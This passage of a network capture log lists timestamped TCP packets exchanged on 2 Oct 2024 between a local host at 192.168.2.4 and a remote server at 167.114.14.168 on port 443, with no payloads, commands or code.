Oct 2, 2024 06:10:25.479419947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.479434013 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.479485989 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.479491949 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.479619026 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.481960058 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.481976986 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.482028008 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.482033968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.482181072 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.482382059 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.482398033 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.482445002 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.482450008 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.482475996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.482489109 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.491257906 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.491276979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.491450071 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.491460085 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.491662979 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.491816044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.491831064 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.491892099 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.491898060 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.492012978 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.564893961 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.564912081 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.564981937 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.564996958 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.565213919 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.565892935 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.565910101 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.565959930 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.565964937 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.566082001 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.569947004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.569962025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.570018053 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.570022106 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.570136070 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.570331097 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.570347071 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.570394993 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.570401907 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.571321011 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.572643042 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.572659016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.572714090 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.572719097 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.572952032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.573052883 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.573067904 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.573120117 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.573124886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.573249102 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.582010031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.582025051 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.582077026 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.582083941 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.582202911 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.582442999 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.582458019 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.582494974 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.582499027 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.582525015 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.582544088 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.655611992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.655636072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.655760050 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.655770063 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.655803919 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.656599045 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.656611919 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.656668901 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.656672955 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.656894922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.660473108 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.660486937 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.660545111 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.660548925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.660742044 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.660830975 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.660845995 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.660891056 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.660895109 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.661113977 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.663326979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.663342953 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.663403988 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.663408995 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.663526058 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.663697958 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.663712025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.663758993 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.663764000 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.663871050 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.672679901 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.672694921 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.672769070 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.672774076 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.672981024 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.673219919 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.673234940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.673295021 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.673297882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.673403978 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.746233940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.746253014 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.746351957 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.746366978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.747286081 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.747306108 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.747374058 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.747380972 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.749752998 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.751246929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.751269102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.751318932 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.751323938 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.751360893 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.751379967 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.751604080 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.751629114 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.751672029 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.751677990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.751717091 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.753916979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.753930092 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.753992081 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.753998041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.754406929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.754426003 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.754463911 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.754470110 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.754501104 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.754523993 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.763200045 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.763215065 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.763278961 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.763283014 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.763463974 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.763760090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.763775110 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.763953924 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.763959885 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.764000893 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.836858988 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.836879015 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.836951017 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.836962938 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.837002039 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.837843895 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.837861061 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.837901115 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.837907076 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.837937117 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.837950945 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.841877937 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.841891050 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.841952085 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.841957092 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.842320919 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.842355013 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.842379093 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.842385054 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.842412949 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.842443943 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.844530106 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.844544888 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.844621897 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.844626904 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.844670057 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.844949961 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.844966888 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.845014095 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.845019102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.845067978 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.853928089 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.853948116 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.854032040 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.854043007 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.854422092 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.854439020 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.854501009 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.854510069 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.854554892 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.927752018 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.927767038 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.927907944 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.927917004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.928504944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.928524017 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.928565979 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.928571939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.928601027 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.928627014 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.932626009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.932640076 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.932701111 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.932707071 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.932719946 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.932744980 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.932971001 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.932986021 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.933044910 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.933051109 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.935368061 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.935389042 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.935426950 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.935431957 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.935456991 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.935483932 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.935703039 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.935718060 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.935777903 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.935782909 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.939579964 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.944514036 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.944545031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.944588900 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.944595098 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.944613934 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.944632053 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.945082903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.945097923 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.945153952 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.945158005 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.947630882 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.018433094 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.018450975 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.018532991 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.018538952 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.018929005 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.019706011 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.019733906 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.019809008 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.019818068 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.020019054 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.023216963 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.023235083 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.023350000 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.023355007 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.023499012 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.023576975 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.023591042 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.023778915 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.023785114 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.023823023 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.025909901 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.025923967 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.025990963 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.025995016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.026276112 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.026350021 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.026366949 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.026423931 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.026428938 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.026602983 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.035278082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.035293102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.035362959 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.035370111 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.035723925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.035742998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.035820961 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.035826921 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.036293030 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.109368086 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.109386921 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.109499931 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.109512091 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.109558105 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.110404968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.110419035 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.110483885 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.110490084 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.111572027 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.113938093 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.113960981 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.114026070 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.114029884 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.114368916 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.114386082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.114423990 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.114428997 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.114451885 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.114483118 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.116524935 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.116545916 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.116595030 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.116601944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.116616011 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.116645098 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.116962910 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.116976976 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.117028952 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.117033958 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.119575977 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.123954058 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.125811100 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.125827074 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.125910044 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.125914097 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.126112938 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.126316071 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.126329899 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.126375914 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.126382113 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.129170895 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.199815989 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.199835062 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.199881077 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.199889898 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.199917078 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.199929953 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.201041937 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.201057911 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.201108932 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.201114893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.201152086 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.204531908 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.204547882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.204596996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.204602957 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.204634905 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.204652071 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.205043077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.205056906 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.205085993 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.205091000 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.205116034 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.205130100 CEST	49744	443	192.168.2.4	167.114.14.168
